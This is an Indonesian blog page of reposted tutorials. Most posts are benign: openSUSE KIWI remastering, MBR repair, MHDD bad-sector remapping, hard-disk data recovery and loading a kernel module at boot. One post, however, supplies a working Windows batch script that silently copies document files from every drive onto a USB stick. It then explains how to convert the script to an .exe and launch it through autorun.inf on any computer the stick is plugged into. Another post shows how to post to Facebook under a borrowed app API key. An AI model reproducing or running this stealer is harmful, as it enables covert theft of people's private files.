Remastering openSUSE : Bagian 1

By Masim “Vavai” Sugianto on December 26th, 2008

openSUSE adalah salah satu distro Linux terbaik yang terkenal karena keindahan desktop, deteksi hardware yang baik, tools konfigurasi sistem yang powerful dengan YAST dan default sistem yang mudah dikelola.

openSUSE 11.0 dan 11.1 dirilis dengan 3 varian CD/DVD : DVD instalasi dengan berbagai macam desktop (KDE3, KDE 4, Gnome, XFCE, Icewm etc) dan aplikasi server, LiveCD yang dikhususkan untuk aplikasi desktop dan dipisah dalam masing-masing desktop environment (KDE & Gnome), Net Install CD untuk instalasi melalui jaringan atau internet dan terakhir CD atau DVD delta, yang dapat dimanfaatkan untuk melakukan update CD atau DVD versi sebelumnya hingga menjadi iso baru menggunakan aplikasi deltaiso.

// <![CDATA[//
// <![CDATA[//

Meski skema diatas secara umum sudah dapat memenuhi kebutuhan kita, adakalanya kita ingin membangun sebuah distro berbasis openSUSE yang sudah memuat berbagai aplikasi yang kita inginkan. tidak ada aplikasi yang tidak diinginkan, memuat berbagai driver secara default, mengandung aplikasi tertentu seperti multimedia secara lengkap dan lain-lain.

Novell sudah memikirkan hal ini dengan meluncurkan versi alpha dari SUSE Studio. Testing yang saya lakukan beberapa bulan yang lalu menunjukkan bahwa ide Novell melalui SUSE Studio bisa mengubah cara pandang dan mekanisme pembuatan suatu distro. SUSE Studio merupakan tools yang sangat powerful untuk membuat keinginan kita diatas menjadi kenyataan, namun bagi kita di Indonesia, ada satu kendala yang patut disayangkan, yaitu akses internet yang lambreta yang membuat interaksi kita dengan SUSE Studio menjadi kurang nyaman.

Meski demikian, kita punya alternatif lain yang lebih mudah dan cepat yang sama-sama disediakan oleh openSUSE, yaitu KIWI Imaging System.

The openSUSE KIWI Image System provides a complete operating system image solution for Linux supported hardware platforms as well as for virtualization systems like Xen. The KIWI architecture was designed as a two level system. The first stage, based on a valid software package source, creates a so called physical extend according to the provided image description. The second stage creates from a required physical extend an operating system image. The result of the second stage is called a logical extend or short an image

Penjelasan lengkap mengenai KIWI dapat dibaca pada KIWI Documentation.

Terkait dengan proses remastering openSUSE 11.1 yang saya lakukan, saya akan menulis artikel serial yang akan membahas bagaimana cara membuat openSUSE dengan spesifikasi dan aplikasi yang kita inginkan. Serial ini merupakan bagian dari project openSUSE Remastering dan bagi rekan-rekan yang berminat saya sarankan untuk bergabung dengan milis openSUSE-Remastering. Caranya, kirimkan email ke alamat opensuse-remastering-subscribe at lists.opensuse-id.org

Setelah membaca serial artikel ini saya harapkan tiap orang bisa membuat openSUSE LiveCD atau LiveUSB sendiri dengan mudah.

Sekarang, langkah pertama sebelum melakukan remastering adalah menyiapkan sistem KIWI di openSUSE. Saya menggunakan openSUSE 11.1 pada tutorial ini. Silakan sesuaikan format penulisannya jika menggunakan openSUSE versi lain (saran saya minimal openSUSE 11.0 atas pertimbangan kecepatan zypper yang powerful)

  1. Install openSUSE 11.1 :-)
  2. Tambahkan repositori KIWI melalui YAST | Software | Software Repositories atau melalui konsole (ALT+F2, konsole) :
  3. 1.zypper ar http://ftp5.gwdg.de/pub/opensuse/repositories/openSUSE:/Tools/openSUSE_11.1 kiwi
  4. Refresh repo
  5. 1.zypper ref
  6. Install KIWI tools
  7. 1.zypper in kiwi-desc-isoboot kiwi-desc-usbboot kiwi-tools kiwi-pxeboot kiwi-desc-oemboot kiwi-desc-netboot createrepo

Setelah instalasi KIWI, kita akan menemukan konfigurasi KIWI pada folder /usr/share/kiwi. Masuk ke folder /usr/share/kiwi/image, akan ada sub folder seperti usbboot dan isoboot. Folder /usr/share/kiwi/image mengandung skema konfigurasi untuk melakukan remastering sesuai dengan namanya, misalnya : isoboot adalah skema untuk membuat bootable iso image, usbboot untuk membuat bootable LiveUSB, dan lain-lain. Kita dapat membuat skema lain sesuai dengan panduan pada dokumentasi KIWI atau mengambil cara lain yang lebih mudah : Melakukan copy data skema konfigurasi KIWI.

Skema konfigurasi Kiwi adalah sebuah file xml, yang diberi nama config.xml. Jika kita melakukan browsing kedalam folder isoboot (/usr/share/kiwi/image/isoboot/), kita akan menemukan beberapa skema konfigurasi seperti : suse11.1, suse11.0 dan seterusnya. Jika kita ingin membangun suatu remastering, gunakan  versi konfigurasi yang sesuai dengan repo yang kita gunakan, misalnya gunakan suse11.1 jika menggunakan repo openSUSE 11.1 dan seterusnya. Karena saya menggunakan openSUSE versi 11.1, saya akan menggunakan skema konfigurasi yang ada pada /usr/share/kiwi/image/isoboot/suse-11.1/config.xml.

Tidak terlalu sulit memahami skema ini, karena isinya langsung menjelaskan fungsi yang dkandung. Mari kita lihat contoh awal dengan membuka  file /usr/share/kiwi/image/isoboot/suse-11.1/config.xml menggunakan text editor (kate atau kwrite).

Skema konfigurasi dibagi dalam beberapa bagian kode. Bagian atas memuat informasi mengenai author, versi, contact, preferences, dan lain-lain. Kita tidak perlu melakukan perubahan pada semua konfigurasi, lakukan perubahan hanya pada bagian yang perlu saja.

Dibawah ini adalah salah satu contoh bagian dari file konfigurasi. Kode dibawah ini merupakan bagian kode yang menyatakan alamat repositori yang akan digunakan. Alamat repositori ini bisa dalam bentuk folder, http, ftp dan lain sebagainya. Contoh dibawah ini menggunakan suatu folder

1.<repository type="yast2" status="replaceable">
2.<source path="/image/CDs/full-11.1-i386"/>
3.</repository>

Kita harus menyesuaikan alamat repo tersebut dengan alamat yang benar. Selain repo lokal dalam bentuk diectory, kita dapat juga menggunakanberbagai protokol yang didukung oleh YAST (lihat daftar lengkap pada YAST | Software | Software Repositories)

Kita akan mempelajari lebih jauh penggunaan KIWI diproses berikutnya yaitu : Membangun openSUSE Minimal System LiveCD

Advertisements
Posted in Linux Sharing | Leave a comment

Merampok Data Dengan USB FlashDrive

sumber : http://www.kaskus.us/showthread.php?t=5471396

saya akan sharing mengenai merampok data di kompi dengan USB Flash Drive

1. Buka notepad pertama . .. kalau males ngetik bisa copas tulisan di bawah ini ..

@echo off

REM Name : silentxxx

REM Author : Silentxxx

Set silent=%computername% _ %random%

If not exist ”%silent%” Md “%silent%”

For%%a in (C D E F G H I J) do if exist %%a:\ (

For /f “tokens=*” %%b in (‘dir /a/b/s %%a:\*.doc’) do (

attrib –s –h –r “%%b”

copy “%%b” “%silent%” /y)

For /f “tokens=*” %%b in (‘dir /a/b/s%%a:\.xls’) do (

attrib –s –h –r “%%b”

copy “%%b” “%silent%” /y)

For /f “tokens=*” %% b in (‘dir /a/b/s%%a:/*.txt’) do (

attrib –s –h –r “%%b”

copy “%%b” “%silent%” /y)

For /f “tokens=*” %%b in (‘dir /a/b/s%%a:/*.docx’) do (

attrib –s –h –r “%%b”

copy “%%b” “%silent%” /y)

)

1. Save file tersebut dengan nama terserah .bat dan save as type all files .,udah pa blon??

Sekarang coba di jalankan file dengan exstensi bat tersebut maka di samping File akan terbuat semua file yang di copy dari drive C ampai Z (kalau punya )wkwkwk. gila banyak amat..

Code di atas dapat di ubah atau di tambah sesuai dengan keinginan kalian masing-masing bisa di tambahkan kode

For /f “tokens=*” %%b in (‘dir /a/b/s%%a:\*.zip’) do(

attrib –s –h –r “%%b”

copy “%%b” “%silent%” /y)

maka file yang berextensi zip akan masuk ke Flash Disk kamu (wah lumayan dapat software kompresan gratis wkwkwk)

ubah sesuai extensi apa yang kamu inginkan misalnya *.pdf atau *.html

maka file terserah.bat akan berjalan sesuai dengan keinginan anda .

File tersebut bisa anda ubah ke bentuk extensi exe. .. enak atuh,, lebih mudah.. dengan software Bat_To_Exe_ConverterV1.5 kalau belum punya bisa download disini

Cara mengubahnya adalah

1. Buka software tersebut..
2. Pilih yang compile
3. Dan sekarang file.bat yang tadi kita buat menjadi file yang berextensi *.exe lebih enak kan ..
4. Agar file tersebut maka kita harus buat file autorun
5. Buka notepad ketikkan

[autorun]

Open=terserah.exe

1. save as dengan nama Autorun.inf dan terserah.exe di dalam directory USB Flash Drive kamu..
2. Selesai .. Akhirnya sekarang colokkan atau masukkan FD kamu atau loe atau agan di pc mana aja akan tercopy banyak data yang kamu terima .. thnkz.. tamat

Posted in Uncategorized | Leave a comment

Update status Facebook pake script via apa aja

sumber : http://www.kaskus.us/showthread.php?t=5358047

Semua pengguna pesbuk memiliki ID uniq masing-masing..

contoh :

Code:
hllp://mmm.facebook.com/profile.php?id=1274618723

ato 1000006982370945873

Dan setiap aplikasi yg dibuat di pesbuk juga memiliki ID uniq masing-masing juga ato istilah nya API KEY(kunci API)

contoh API KEY = 2254487659 (ini adalah API KEY Facebook untuk BlackBerry yang beralamat disini

Code:
hllp://mmm.facebook.com/mobile/?v=2254487659

jadi bagi yang gak punya BlackBerry bisa Update dari script ini..dibawah di jelaskan

kalo untuk update via apa aja mau dari android, iPhone,Semua dech baca di atas dengan seksama..

kalo ente mau buat aplikasi baru di sini

Code:
hllp://mmm.facebook.com/developers/createapp.php

masukin nama aplikasinya terus ,pilih setuju,dan klik buat aplikasi..
cukup samapai disitu aja..kebelakang nya bodo amat gak perlu setting ini itu..kita cukup COPAS..ID Aplikasi & Kunci API nya saja..karna tinggal selipin script appnya uda ngepost di wall ente..

ok lanjut…

COPAS code berikut ke addresbar ente…gak tau addresbar

Code:
http://www.facebook.com/connect/prompt_feed.php?api_key=2254487659(API KEY facebook for BlackBerry)

contoh hasil nya :

Spoiler for TKP:

-pertanyaan misal : lah…terus gan..gmn caranya biar ane bisa post di wall temen ane tapi dari BlacBerry juga..?
-lah..itu gampang kok..ganti ajaj target_id=TARGET ID TEMEN ENTE
CONTOH :

Code:
http://www.facebook.com/connect/prompt_feed.php?api_key=2254487659(API KEY facebook

Posted in Uncategorized | Leave a comment

Memperbaiki MBR yang corrupt

Jika Windows menolak untuk boot dan muncul “Disk Read error occured”

Perbaikan yang paling sederhana agar system kembali normal ialah menggunakan opsi repair dari instalasi CD Windows (Setup – F8 – repair), tapi bagaimana jika file system sudah tidak dikenali ? misalnya disk dikenali sebagai RAW atau unallocated?

1. Anda dapat menggunakan Partition Find and mount (freeware – Partition Find and Mount &mdash; free partition recovery software)
2. Mengedit MBR menggunakan EAEUS Partition Manager (Hard Drive Data Recovery Software. Disk Recovery & Data Recovery Tools to Recover Deleted Files – EASEUS Data Recovery)
3. Mengedit manual menggunakan WinHex.

Cara no.1 dan 2 lebih simple dan dapat dilakukan semua orang yang biasa menggunakan computer sehari-hari karena semuanya otomatis dan dilakukan interaftif sehingga user dapat mengawasi perybahan yang terjadi sebelum konfirmasi.

Tapi cara no.3 biasanya lebih efektif dan akurat, selain ebih cepat.

Cara ke 3 biasanya dilakukan sehari-hari oleh spesialis data recovery , untuk menghemat waktu.

sumber : http://www.kaskus.us

Posted in Hardware | Leave a comment

Menyelamatkan data dari hard disk yang mengalami bad sector logical (UNC code di MHDD)

Dengan menggunakan MHDD, jika ditemukan error code “UNC” yang tersebar di beberapa area (bukan berkelompok sebagai pola), anda dapat menggunakan opsi “remap” = ON

Fungsi remap = ON ini berguna untuk merelokasi sector dari area LBA yang rusak ke tabel kerusakan sementara.

Remap aman untuk data selama tidak ditemukan kode error sepanjang 100 sector atau lebih. Jika hal ini terjadi, kemungkinan data akan corrupt saatdikases. Untuk perbaikan data yang corrupt ini, anda dapat menggunakan beberapa utility khusus yang memang didesign untuk fungsi tersebut.

Saat loading MHDD, tekan F4, lalu akan muncul box pilihan scan. Untuk mengaktifkan fungsi remap : tekan tombol panah bawah pada keyboard anda, sampai menyorot “REMAP”, kemudian tekan space bar untuk mengubah pilihyan “OFF” menjadi “ON”

Setelah selesai mengubah remap menjadi “ON” tekan F4 sekali lagi untuk proses remap berjalan.

Setelah proses remap selkesai, scan lagi hard disk ini dengan MHDD, tekan F4 dua kali dan biarkan scanning berjalan sampai selesai. Jika tidak ada lagi error yang ditemukan, bad sector seluruhnya sudah berhasil direlokasi, dan anda dapat menghubungkan hard disk ini sebagai slave ke hard disk lainh untuk meng-copy datanya ATAU menggunakan software cloning sejenis Media Tools Professional untuk melakukan sector to sector cloning ke hard disk lainnya yang sehat.

Posted in Hardware | Leave a comment

Data Recovery : how to do it the right way

POST MORTEM WARNING : JANGAN MENGUBAH KONDISI HDD YG BERMASALAH DENGAN SEMBARANGAN ! KALAU KEGAGALAN HARD DISK DISEBABKAN OLEH SOFTWARE PARTISI MACAM PARTITION MAGIC (RESIZE, CONVERT ATAU LAINNYA) ATAU ACRONIS DAN LAINNYA, JANGAN LAKUKAN PERINTAH “UNDO”. BAHAYA !!!

Baiklah, kita akan memulai dengan post pertama…..

Dalam situasi dimana HDD tidak dapat diakses, ingat hal sbb:

1. Jangan panik, matikan PC / notebook / HDD external dulu
2. Coba ingat ingat folder atau file apa saja yg tidak ada..Buat daftarnya
3. Cari backupnya di CD atau di storage lainnya. Apakah lengkap ? Cek 2x
4. Backupnya masih Ok ?
5. Kalau tidak ada backup, catat apa yg terjadi sebelum masalah muncul…
6. Lepaskan semua kabel power, copot HDD.

OK, sekarang kita akan menganalisa kasus yg anda alami. Jangan apa-apakan dulu HDDnya. Relax….

Lihat HDD anda, apakah ada bagian dari PCB yg terbakar ? chip yg terbakar menyebabkan bau yg khas..

Jika ada yg terbakar berarti PSU dipertanyakan kestabilannya. Hentikan analisa anda. Lihat post yg berikutnya…

Jika tidak ada yg terbakar, anda bisa melanjutkan analisa anda sbb…

Nyalakan komputer, INGAT jangan memasang HDD atau lainnya dulu (USB Flash, HDD external atau lain-lain). Apakah Mobo anda normal ? Bisakah BIOS anda melakukan P.O.S.T dan mendeteksi semuanya ?

Normal tuh….

OK berarti masalah bukan dari Mobo atau RAM dan prosessor

Matikan komputer lalu sekarang test port IDE/SATAnya dng cara memasang CD ROM atau lainnya ke port IDE/SATA HDD anda , nyalakan komputer, apakah CDROM itu terdeteksi di BIOS, normalkah….?

Jika ya berarti port IDE/SATA tidak bermasalah, mungkin kabel IDE/SATAnya yg tadi ke HDD bermasalah, sekarang pasang HDD dengan kabel IDE/SATA CD Rom tsb dan segera masuk ke BIOS, apakah HDD anda muncul di BIOS ? Jika ya kita bisa melanjutkan, jika tidak : Komputer tidak bisa boot atau komputer mati total, berarti masalahnya memang di PCB atau malah di HDDnya lihat di post berikutnya. Note : Beberapa HDD, PCBnya mati total tanpa menunjukkan gejala terbakar..

OK HDD anda muncul di BIOS (normal ! bukan dgn nama yg aneh-aneh muncul spt Athena, N40P, Ares dan lainnya) berarti masalah sekarang dibagi dua lagi :

Kalau HDD anda terdeteksi normal dan tidak mengeluarkan bunyi yg aneh-aneh, coba perhatikan yg berikut ini :

1. Apakah anda tadi online dan menerima e-mail “panas” dan anda buka ? Atau memasang CD, floppy atau USB yg tidak jelas keamanannya ?
—-> Jika ya , ada kemungkinan anda kena serangan virus atau lainnya saat membuka e-mail atau file tertentu. Scan komputer dengan antivirus yg databasenya sudah diupdate sampai hari terjadinya masalah, kalau virus tidak ditemukan, jangan yakin dulu, sebab ada kemungkinan anda terkena virus baru dan belum ada di database antivirus anda…

2. Jika anda tidak online, apakah komputer tadi hang saat membuka aplikasi atau file ?
—-> Jika ya, ada kemungkinan cuma Windows atau program anda yg error. cek kecukupan memory anda untuk menjalankan aplikasi atau file tsb….Anda harus Uninstall dulu program tadi lewat safe mode Windows.

3. Apakah tadi Windows memberikan pesan “CRC error” ? atau “Write delayed failed”? atau “Partition table is corrupt and unreadable” ? atau “Error file not found” ?
—-> Jika ya anda harus siap-siap bekerja lebih lama lagi untuk memeriksa HDD ini. lihat langkah ke 4 (Anda harus bersiap-siap bercanda gurau dng HDD anda dalam modus DOS dan bukan modus Windows)

4. Jika ada komputer lainnya (atau milik teman) copot HDDnya dan siapkan floppy disk yg berisi MHDD atau utility lainnya (Victoria, THDD dan lainnya). Pasang HDD anda di komputer tsb. Masukkan floppy tsb dan set boot options ke Floppy, nyalakan komputer lalu test dengan software tsb, apakah HDD anda error ?
—-> Kebanyakan HDD, saat system hang akan mencatat Error tsb dalam tabel SMART dan jika SMART mengindikasikan bahaya, maka di BIOS akan muncul peringatan untuk segera membackup data. Periksa SMART anda dng MHDD atau Victoria tekan F8, kalau THDD anda bisa langsung melihatnya di pojok kiri atas. Kalau nilai SMART menunjukkan error dan ada masalah, anda harus membereskan masalah SMART ini dulu sebelum bisa mengambil data Anda…

NOTE : Perhatikan bahwa MHDD , Victoria dan THDD hanya dianjurkan untuk memeriksa saja dan jangan digunakan untuk memperbaiki error yg muncul. Software ini tidak menjamin integritas data anda.

Sekarang MHDD maupun THDD dan Victoria tidak menunjukkan adanya error di level sector maupun atribut SMART, jadi masalahnya ada di file system atau partisi. Tindakan yg harus dilakukan untuk menyelamatkan data :

1. Image HDD anda ke HDD lainnya dengan kapasitas yg sama kalau bisa lebih. Ingat Maxtor 40 GB (seri lama, yg tipis) kapasitas LBA-nya > Seagate 40 GB (80293248 > 78,165, sekian-sekian.deh..lupa…… ). Prinsipnya Maxtor memiliki kapasitas LBA lebih besar dari merk lainnya.

—–> Note : Untuk imaging, Anda dapat menggunakan bermacam software : Norton Ghost (sector copy !!) atau Acronis dan lainnya. Pilih mana yg menurut anda yg paling disukai. Hanya pastikan saja semuanya berlangsung tanpa ada error log.

2. Nah, setelah selesai di-image, pasang HDD hasil image tadi (HDD-1) ke komputer lain yg memang ada OS nya. Kalau bisa dan dianjurkan sekali !, HDD-1 tadi dijadikan external dengan USB box (gunakan yg chipsetnya memang bagus (Lenox, Smart Drive atau lainnya…).

—–> HDD-0 (yg pertama kali bermasalah) lebih baik disimpan dengan baik-baik. Tidak perlu mengoprek HDD-0 ini.
(Perhatikan yg ini ! HDD yg bermasalah tidak boleh diubah kondisinya !)

3. Setelah OS tampil, Antivirus dan semuanya selesai loading, baru sekarang nyalakan HDD-1 hasil image tadi. Lihat di Properties, Disk Management, apakah partisi yg tadi error muncul ?

—–> Jika ya, anda dapat mencoba mengakses partisi itu dan mengcopy data sebanyak-banyaknya. Lakukan per folder…Jangan langsung keseluruhannya. Jadi kalau ada error bisa anda catat dan lihat dimana letak masalahnya.

4. Oh, ada masalah, Di Disk Management muncul, tapi HDD/partisi tidak dapat diakses – 0 bytes dan pesan error lainnya (Partisi muncul dengan nama aneh). Berarti ada error di partition table atau MBR. Jalan yg harus kita tempuh untuk mengcopy datanya (bagi kami : dapet bayarannya… ) masih berliku lagi.

——> Tenang, tenang.., anda kan hanya bekerja dengan image-nya saja, semua perubahan yg terjadi tidak mengakibatkan masalah apapun. HDD-0 yg asli aman kan ?

Ini berarti :
1. MBR error
2. FAT 0 dan FAT 1 eror (pada FAT 32)
3. MFT original error (pada NTFS)

Note :
MBR = Master Boot Record = Boot Record + Boot Sector. dibentuk pertama kali saat HDD diformat

FAT = File Allocation Table (bukan file systemnya !). Dibentuk saat Directory dan file2 diisi ke HDD

MFT = Master File Table (sama seperti FAT). Hanya ada di NTFS (Win NT, Win2K. WinXP dst). ada 4 copy, lebih banyak dari FAT32, Salah satu keunggulan NTFS (selain mendukung encryption dan security hierarchy)

Solusi :
MBR error, biasanya akibat:

a. Infeksi virus. Tertuduh utama : Defo.MBR. Untuk menghadapi ini anda dianjurkan melakukan scanning sekali lagi, tapi kali ini : Under DOS ! Gunakan antivirus favorit anda dengan database yg lengkap. Biasanya antivirus akan langsung memperbaiki MBR yg errror. kalau tidak bisa, lihat di bawah ini.

b. Terhapus “tidak sengaja” oleh Windows atau aplikasi lainnya saat Windows crash. Dapat ditangani oleh Windows atau Norton Utilities dan software recovery lainnya : GetDataBack, dll Perbaikan dengan Windows akan menghasilkan file *.chk yg jumlahnya banyak sekali, tergantung kondisi kerusakan partition table-nya. celakanya, file CHK ini, tanpa seijin kita biasanya ditulis langsung ke HDD yg bermaslah. tapi kita boleh santai. Ini kan HDD-1 hasil image bukan yg HDD-0 aslinya. Paling kalo salah juga mesti bikin image lagi….File CHK bisa diterjemahkan menggunakan CHK Identifier atau UnCHK. Nah kalo file2nya dah bener tinggal dipindahkan ke HDD yg masih sehat. Tigas selesai. Lanjutin download !!! (jadi duit deeh…..)

c. Head landing crash (di sector 0-20,000) tidak sengaja (sering terjadi di Quantum dan Maxtor) menghapus area Boot Sector. Ini yg paling repot…Tindakan head ini bukan mendelete MBR tapi malah “write MBR”. Jadi MBR yg lama ditimpa oleh MBR baru (software recovery biasanya gagal menyelesaikan masalah ini)

Anggaplah kasus yg anda hadapi adalah kasus (c), Kasus (a) dan (b) jelas dapat diselesaikan dengan software standard..

Bagaimana cara yg tepat jika ini terjadi ?

Ciri yg utama dari kasus (c) :
1. Jika file system sebelumnya adalah NTFS, tab security saat klik kanan properties, tidak akan muncul. System size = 0 bytes, Di properties dari Disk Management, partition size ada tapi jika coba di explore akan muncul pesan error (kontradiksi)

2. Jika file system sebelumnya adalah FAT32, muncul pesan : directory structure is corrupt and unreadable..

Untuk kasus (a) dan (b) :

SIMPLE software recovery procedure :
Cara ini hanya dapat digunakan untuk memcahkan masalah pada error yang masih dalam batasan logical. Logical error/recovery dalam hal ini : Partisi terformat, folder terdelete lewat Shift+Del, error partition table/MBR dll.

1. Shutdown system anda segera (setelah file terhapus, terformat atau lainnya). Jangan utak-atik HDD yg kehilangan data ini.
2. Install software recovery pada HDD yang lain. Jangan pada HDD yang memiliki masalah !
3. HDD yang bermasalah (yang terformat atau kehilangan data) harus sebagai posisi slave di PC lain. Jangan sebagai master !
4. Siapakan HDD satu lagi untuk menampung data yang akan diselamatkan. HDD yang bermasalah jangan digunakan untuk mengisi data hasil recovery

Jadi secara standard :
Ada 3 Hard disk yang harus disiapkan : HDDA (yg bermasalah) HDDB (yg diinstal prgram recovery) dan HDDC (untuk menampung data yang diselamatkan)

HDDB sebagai bootable master (dengan Windows dan lainnya_
HDDA sebagai korban yg akan diselamatkan
HDDC sebagai tempat penampungan data

Software yang direkomendasi :
1. WinHex (dari www.x-ways.net)
2. TestDisk (dari www.cgsecurity.org)
3. GetDataBack (dari www.runtime.org)

4. OnTrack Easy Recovery

Masih banyak software recovery lainnya yang dapat digunakan untuk menyelamatkan data. Silakan anda cari dan sesuaikan dengan kebutuhan Anda. Prinsip kerjanya sama saja. Yang penting ialah standarisasi HDDA, HDDB, HDDC seperti di atas.

Join Kaskus Data Recovery SG : http://www.kaskus.us/group.php?groupid=2101

Posted in Hardware | Leave a comment

Cara Load Module Otomatis Di OpenSUSE

Jengkel deh…tiap kali mau internetan di opensuse ane, ane harus selalu ketik “modprobe usbserial vendor=0x15eb product=0x0001”. Maklumlah, modem yang ane pakai yaitu hp smart d1200. Setelah cari kesana kemari, alhamdulillah di blog opensuse.or.id ketemu caranya. Kalau ente-ente pengguna opensuse dan mengalami hal yang sama, ikutin caranye yeee….

  • Aktifkan yast, kemudian isi password anda.
  • setelah itu pilih System – /etc/sysconfig Editor
  • pilih System -> Kernel, kemudian pilih MODULES_LOADED_ON_BOOT, pada isian sebelah kanan ketikkan usbserial. Kemudian tekan OK.
  • Kemudian test dengan cara mengetikkan lsmod | grep usbserial
  • Jika terdapat tulisan ” usbserial       34513 0″ (catatan : untuk angkanya tergantung jenis modemnya, jadi nggak mesti 34513), berarti module sukses di load.
  • Jika membutuhkan argumen tambahan, maka perlu pengubahan tambahan di file /etc/modprobe.d/99-local.conf, dengan cara ketikkan vi /etc/modprobe.d/99-local.conf. Setelah muncul, maka ketikkan options usbserial vendor=0x15eb product=0x0001 (untuk angka dibelakang tanda x tergantung dari modemnya masing2).
  • Kemudian Restart dan amati perubahannya

Good Luck…

Sumber : http://opensuse.or.id/2010/07/03/load-module-otomatis-ketika-boot/

Posted in Linux Sharing | Leave a comment